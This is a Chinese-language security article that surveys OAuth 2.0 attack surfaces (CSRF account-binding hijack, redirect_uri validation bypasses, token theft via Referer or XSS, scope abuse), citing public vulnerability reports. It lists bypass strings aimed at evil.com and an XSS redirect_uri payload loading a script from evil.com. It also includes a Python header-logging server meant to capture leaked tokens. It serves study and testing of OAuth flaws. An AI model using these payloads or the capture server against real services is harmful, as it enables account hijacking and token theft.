本文整理了OAuth 2.0的攻击面+实际案例+辅助测试代码。

OAuth流程

本文以两种广泛使用的方案为标准展开.。如对流程不了解,请先移步学习: 理解OAuth 2.0

Authorization Code

  • response_type = code
  • redirect_uri
  • scope
  • client_id
  • state

Implicit

  • response_type = token
  • redirect_uri
  • scope
  • client_id
  • state

攻击面

  • CSRF导致绑定劫持
  • redirect_uri绕过导致授权劫持
  • scope越权访问

绑定劫持

攻击者抓取认证请求构造恶意url,并诱骗已经登录的网用户点击(比如通过邮件或者QQ等方式).认证成功后用户的帐号会同攻击者的帐号绑定到一起。

OAuth 2.0提供了state参数用于防御CSRF.认证服务器在接收到的state参数按原样返回给redirect_uri,客户端收到该参数并验证与之前生成的值是否一致.除此方法外也可使用传统的CSRF防御方案.

案例: 人人网-百度OAuth 2.0 redirect_uir CSRF 漏洞

授权劫持

根据OAuth的认证流程,用户授权凭证会由服务器转发到redirect_uri对应的地址,如果攻击者伪造redirect_uri为自己的地址,然后诱导用户发送该请求,之后获取的凭证就会发送给攻击者伪造的回调地址.攻击者使用该凭证即可登录用户账号,造成授权劫持.

正常情况下,为了防止该情况出现,认证服务器会验证自己的client_id与回调地址是否对应.常见的方法是验证回调地址的主域,涉及到的突破方式与CSRF如出一辙:

未验证

  • 未验证的情况,可以直接跳出外域.

    案例: 土豆网某处认证缺陷可劫持oauth_token

验证绕过

  • auth.app.com.evil.com
  • evil.com?auth.app.com
  • evil.com?@auth.app.com 案例:腾讯OAuth平台 redirect_uri 过滤不严可能导致用户信息遭窃取(二)
  • auth.app.com@evil.com 案例:绕过网易oauth认证的redirect_uri限制劫持帐号token
  • auth.app.com\@evil.com 案例:腾讯OAuth平台redirect_uri过滤不严可能导致用户信息遭窃取(四)
  • evil.com\auth.app.com
  • evil.com:\auth.app.com
  • evil.com\.auth.app.com 案例:腾讯OAuth平台redirect_uri过滤不严可能导致用户信息遭窃取
  • evil.com:\@auth.app.com 案例:新浪微博OAuth平台redirect_uri过滤不严可能导致用户信息遭窃取
  • 宽字符绕过 案例: 腾讯OAuth平台redirect_uri过滤不严可能导致用户信息遭窃取(三)

子域可控

  • 对回调地址验证了主域为app.com,但其子域evil.app.com可被任意用户注册使用.

    案例: 新浪微博部分App Oauth2漏洞

跨域

  • 利用可信域的url跳转从referer偷取token

    如果网站存在一个任意url跳转漏洞,可利用该漏洞构造以下向量

    redirect_uri=http://auth.app.com/redirect.php?url=http://evil.com

    认证服务器将凭证通过GET方法发送到redirect.php,这时redirect.php执行跳转,访问http://evil.com,攻击者为evil.com记录日志,并从请求头中的referer字段提取出该凭证,即可通过该凭证进行授权登录.

  • 利用跨域请求从referer偷取token

    在我们不能绕过redirect_uri的判断规则时,我们可以使利用跨域请求从referer中偷取token.

    例1 redirect_uri限制为app.com,然而app.com/article/1.html中允许用户发表文章,在文章中嵌入来自evil.com的外部图片.这时我们可以让redirect_uri指向该文章app.com/article/1.html,当该文章被访问时,会自动获取 evil.com/test.jpg ,这时攻击者即可从请求头的referer拿到token

    例2 利用XSS实现跨域

    redirect_uri = http://app.com/ajax/cat.html?callback=<script src="http://evil.com?getToken.php"></script>

越权访问

这个案例展示了scope权限控制不当带来的安全风险,同时将授权劫持的几个方面演绎的淋漓尽致.

案例: 从“黑掉Github”学Web安全开发

辅助验证脚本

一个简易服务器,会记录来访者的请求头.
1. Python picserver.py [可选端口号]
2. 打开浏览器访问图片或页面地址
3. 查看日志
4. 清除日志

import BaseHTTPServer
import datetime
import sys
import osSERVER = '0.0.0.0' PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 2333 LOG_PATH = 'reqlog.txt' class WebRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler): def do_GET(self): if '.png' in self.path: print self.path fname = '1.png' elif '.jpg' in self.path: fname = '1.jpg' elif '.gif' in self.path: fname = '1.gif' elif '.html' in self.path: fname = 'index.html' elif 'clear' in self.path: os.remove(LOG_PATH) self.send_response(200) self.end_headers() self.wfile.write('ok') return else: self.send_response(200) self.end_headers() try: self.wfile.write(open(LOG_PATH, 'r').read()) except IOError: print '[*]Create logfile: ' + LOG_PATH return message_parts = ['<br>===== [%s] %s =====' % (self.path, datetime.datetime.today())] for name, value in sorted(self.headers.items()): message_parts.append('%s: %s' % (name, value.strip())) message = '<br>'.join(message_parts) + '<br>' with open(LOG_PATH, 'a') as f: f.write(message) self.send_response(200) self.end_headers() self.wfile.write(open(fname, 'rb').read()) print '[*]Starting server at %s:%d' % (SERVER, PORT) server = BaseHTTPServer.HTTPServer((SERVER, PORT), WebRequestHandler) server.serve_forever()

效果:

参考

  • 理解OAuth 2.0 – 阮一峰
  • 从“黑掉Github”学Web安全开发 – 陈皓
  • 利用OAuth劫持用户身份(Kcon 2014) – 蓝色di雪球
  • 乌云已公开漏洞

转载于:https://www.cnblogs.com/h2zZhou/p/5741262.html

OAuth 2.0攻击面与案例总结相关推荐

  1. OAuth 2.0攻击方法及案例总结

    OAuth流程 本文以两种广泛使用的方案为标准展开. 如对流程不了解,请先移步学习:理解OAuth 2.0 Authorization Code response_type = code redire ...

  2. OAuth 2.0安全案例回顾

    horseluke · 2013/09/13 15:06 0x00 背景 纵观账号互通发展史,可以发现OAuth比起其它协议(如OpenID)更流行的原因是,业务双方不仅要求账号本身的认证互通(aut ...

  3. OAuth 2.0 安全案例回顾

    原文:http://drops.wooyun.org/papers/598 0x00 背景 纵观账号互通发展史,可以发现OAuth比起其它协议(如OpenID)更流行的原因是,业务双方不仅要求账号本身 ...

  4. 调用 oauth2_奥利给,再也不怕面试官问我OAuth 2.0授权了

    基于实践说规范 网上看了一些OAuth 2.0的授权方法,尽管讲解的没有什么逻辑性错误,但是存在一个问题,那就是单纯的讲解协议规范却脱离了实际的应用,缺少干货,所以才有了这篇文章,内容基于实际业务进行 ...

  5. OAuth 2.0设计(以微信登录为例)

    在实际应用开发中,我们常常需要使用微信作为应用的登陆方式,不同于手Q登陆使用传统的ptlogin,微信登陆采用了OAuth 2.0的验证方式.本文将以微信登录为案例,具体分析介绍所采用的OAuth 2 ...

  6. OAuth 2.0实战(一)-通俗光速入门

    1 什么是开放平台(Open Platform) 在软件行业和网络中,开放平台指软件系统通过公开其API使外部程序可增加该软件系统的功能或使用该软件系统的资源,而无需更改该软件系统的源码. 在互联网时 ...

  7. oauth2_带有Spring Security的OAuth 2.0快速指南

    oauth2 "我喜欢编写身份验证和授权代码." 〜从来没有Java开发人员. 厌倦了一次又一次地建立相同的登录屏幕? 尝试使用Okta API进行托管身份验证,授权和多因素身份验 ...

  8. 别再搞错!OAuth 2.0只是授权协议,OIDC才是认证授权协议

    上一文我们对Keycloak保护Spring Boot应用进行了实操.让大家见识到了Keycloak的强大.为了掌握Keycloak就必须对OpenID Connect(OIDC)协议进行了解. OI ...

  9. OAuth 2.0 扩展协议之 PKCE

    前言 阅读本文前需要了解 OAuth 2.0 授权协议的相关内容, 可以参考我的上一篇文章 OAuth 2.0 的探险之旅[1]. PKCE 全称是 Proof Key for Code Exchan ...

最新文章

  1. Dialog 去白色边框及透明
  2. xa 全局锁_fescar锁设计和隔离级别的理解
  3. 正确理解ContentPresenter
  4. 获取分割字符串的内容高级技巧
  5. 第10章 文档对象模型DOM 10.2 Document类型
  6. Win10快捷键模式退出的方法
  7. 为Linux的ibus添加五笔98输入法
  8. 在没有中介平台比如Paypal/支付宝前提下,如何说服客户先付款?--猜疑链带来的思考
  9. 聊聊从平面设计师转为UI设计师的经历
  10. 关于C#如何引用Microsoft.Office.Interop.Excel
  11. HTML5期末大作业:电商购物网站设计——电商购物网站设计(55页) 电商网页设计制作 简单静态HTML网页作品 购物网页作业成品 学生商城网站模板
  12. 移动硬盘中安装Windows10
  13. 【托业】【跨栏】REVIEW2
  14. Android冷知识(2)常驻服务
  15. IEC104通信流程
  16. 14 ,spark sql 例子 :四张表数据( student,course,score,teacher ),建表
  17. 云开发多端用户模块实战(五)---uni-app基础(三)---uni-app组件简略使用
  18. 二叉树的后序遍历-递归和非递归算法
  19. matlab快速入门案例及常用技巧 | 《matlab数学建模方法与实践(第三版)》学习笔记
  20. 卖家网:跨境电商数据查询,淘宝大学免费课程,淘宝电商培训班,电商资讯干货

热门文章

  1. 设置普通用户执行docker命令,执行docker命令无需输入密码或者切换root用户
  2. 2022-2028年中国电容器电子薄膜行业市场研究及前瞻分析报告
  3. 数据结构(07)— 线性顺序表基本操作
  4. 2021年中国服装行业分析报告-产业规模现状与发展规划趋势
  5. seq2seq(1)- EncoderDecoder架构
  6. 容器云原生DevOps学习笔记——第二期:如何快速高质量的应用容器化迁移
  7. 聚类Clustering
  8. FFmpeg集成到GPU
  9. 为什么UI线程中创建Handler可以不传Looper?
  10. android studio 加固和签名